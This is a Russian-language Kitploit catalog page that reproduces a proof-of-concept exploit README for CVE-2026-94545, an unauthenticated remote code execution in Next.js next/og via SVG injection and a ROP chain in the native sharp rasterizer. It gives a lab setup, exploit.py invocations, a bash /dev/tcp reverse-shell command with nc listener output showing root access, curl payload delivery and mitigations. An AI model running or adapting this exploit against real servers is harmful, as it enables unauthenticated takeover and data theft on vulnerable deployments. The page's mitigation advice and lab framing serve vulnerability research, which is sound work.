Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-94545 — Эксплойт proof-of-concept для CVE-2026-94545 — неаутентифицированное RCE в Next.js next/og через инъекцию SVG и ROP-цепочку против нативного растеризатора sharp. | Kitploit
Инструменты/GitHubGitHub/eqstlab/cve-2026-94545
Анализ уязвимостейЭксплуатацияОбратная инженерияЭксплуатация веб-приложенийИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubeqstlab/cve-2026-94545

CVE-2026-94545

Эксплойт proof-of-concept для CVE-2026-94545 — неаутентифицированное RCE в Next.js next/og через инъекцию SVG и ROP-цепочку против нативного растеризатора sharp.

Репозиторий
9361 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-94545 Неаутентифицированное RCE в Next.js next/og

★ CVE-2026-94545 Next.js next/og инъекция SVG в нативное RCE ★

https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160


Обзор

next/og создаёт изображения Open Graph, рендеря JSX в SVG с помощью Satori, а затем растеризуя этот SVG. Satori записывает предоставленный пользователем текст в SVG без экранирования (CWE-116), поэтому запрос может закрыть окружающий элемент и внедрить собственную SVG-разметку. Когда маршрут выполняется в среде Node.js с установленным sharp, этот SVG растеризуется нативными библиотеками (libvips, librsvg, libxml2), а не изолированным wasm-рендерером. Полезная нагрузка, построенная из ссылки XInclude и вложенных сущностей DTD, повреждает память внутри этого нативного парсера. Официальный бинарник Node.js является non-PIE, поэтому его код и GOT не рандомизированы, и фиксированная ROP-цепочка достигает execve без утечки адреса. Одного неаутентифицированного запроса к маршруту OG-изображения достаточно для выполнения команд от имени процесса сервера.


Уязвимые версии

КатегорияВерсия
УязвимыеNext.js 16.2.0 – 16.3.5 (среда Node, sharp присутствует), Satori >=0.0.27 <0.33.5
ИсправленныеNext.js 16.3.6 / Satori 0.33.5 или новее

Затронут только путь среды выполнения Node.js. При export const runtime = 'edge' или установке без sharp изображение отрисовывается изолированным resvg-wasm рендерером, и ошибка не приводит к выполнению кода.


Воздействие

  • Неаутентифицированное выполнение кода от имени процесса сервера Next.js. Любой маршрут, передающий данные запроса в ImageResponse, является точкой входа.
  • Эксплойт является слепым. Успешный execve заменяет воркер, поэтому HTTP-запрос просто закрывается, и результат должен вернуться другим способом, например через обратную оболочку или команду, которая связывается с внешним хостом.
  • Полезная нагрузка стабильна. Поскольку бинарник Node является non-PIE, адреса гаджетов одинаковы на каждом хосте и после перезагрузки для данной сборки Node, поэтому не требуется утечка или брутфорс для каждой цели.
  • Успешное срабатывание приводит к падению воркера. Процесс node заменяется внедрённой командой, поэтому сервер перестаёт отвечать до перезапуска.

Окружение

Минимальное приложение Next.js, воспроизводящее уязвимую конфигурацию. Маршрут /api/og рендерит ImageResponse в среде Node, а sharp установлен, поэтому используется нативный растеризатор. Образ фиксирует точный стек, от которого зависит ROP-цепочка (Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 с libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). Первая сборка загружает Node, устанавливает npm-зависимости и запускает next build, что занимает несколько минут.

docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545

# проверка работоспособности: безопасный рендер возвращает 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
ПредусловиеСостояние в этой лаборатории
Next.js 16.2.0 – 16.3.5 в среде NodeNext 16.3.5, runtime = 'nodejs'
sharp установлен, поэтому используется нативный путь librsvg/libxml2sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3
Non-PIE бинарник Node для стабильной базы ROPофициальный Node v24.20.0 linux-x64 (проверено по SHA)
Маршрут OG-изображения доступен без аутентификацииGET и POST /api/og, текст запроса попадает в SVG <title>
Исходящий путь доступен для обратной оболочкиbash и /dev/tcp присутствуют

PoC

Уязвимый маршрут — POST /api/og. Он принимает тело запроса и помещает его в SVG <title> перед растеризацией. exploit.py строит этот SVG для выбранной команды, кодирует ROP-цепочку в <path> и отправляет его на маршрут.

Простейший запуск открывает обратную оболочку. Укажите цель и адрес слушателя; скрипт запустит nc за вас, отправит запрос и передаст вам оболочку.

python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444

Полезная нагрузка откалибрована под стек, указанный в разделе Окружение, поэтому запускайте её против этого образа или хоста с той же сборкой Node и sharp. Срабатывание заменяет процесс node вашей командой, что означает, что HTTP-запрос закрывается и сервис перестаёт отвечать до перезапуска контейнера.

[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux

Обратная оболочка выполняется от имени процесса сервера, что подтверждает выполнение кода из одного неаутентифицированного запроса. Чтобы выполнить одну команду без слушателя, передайте её напрямую; учтите, что вывод не возвращается по HTTP, поэтому команда должна отправить всё, что вы хотите увидеть, по другому каналу.

# одна команда, без слушателя
python3 exploit.py --target 172.17.0.3:3000 --command "id"

# только собрать полезную нагрузку, затем отправить её самостоятельно
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og

Меры противодействия

  • Обновитесь до Next.js 16.3.6 / Satori 0.33.5 или новее, где SVG-текст экранируется при сериализации и инъекция закрывается.
  • Если обновление пока невозможно, переведите маршруты next/og на export const runtime = 'edge', чтобы использовался изолированный wasm-рендерер, или удалите sharp, чтобы нативный путь не достигался, и не допускайте несанитизированный пользовательский ввод в дочерние элементы ImageResponse.
  • Поместите маршруты OG-изображений за аутентификацию или список разрешённых, и ограничьте исходящий трафик сервера, чтобы затруднить слепую эксфильтрацию.
  • После исправления считайте экземпляр, доступный из интернета, скомпрометированным: смените все секреты, которые мог прочитать процесс приложения, и проверьте наличие механизмов персистентности.

Анализ

  • KR:
  • EN:
Скачать инструмент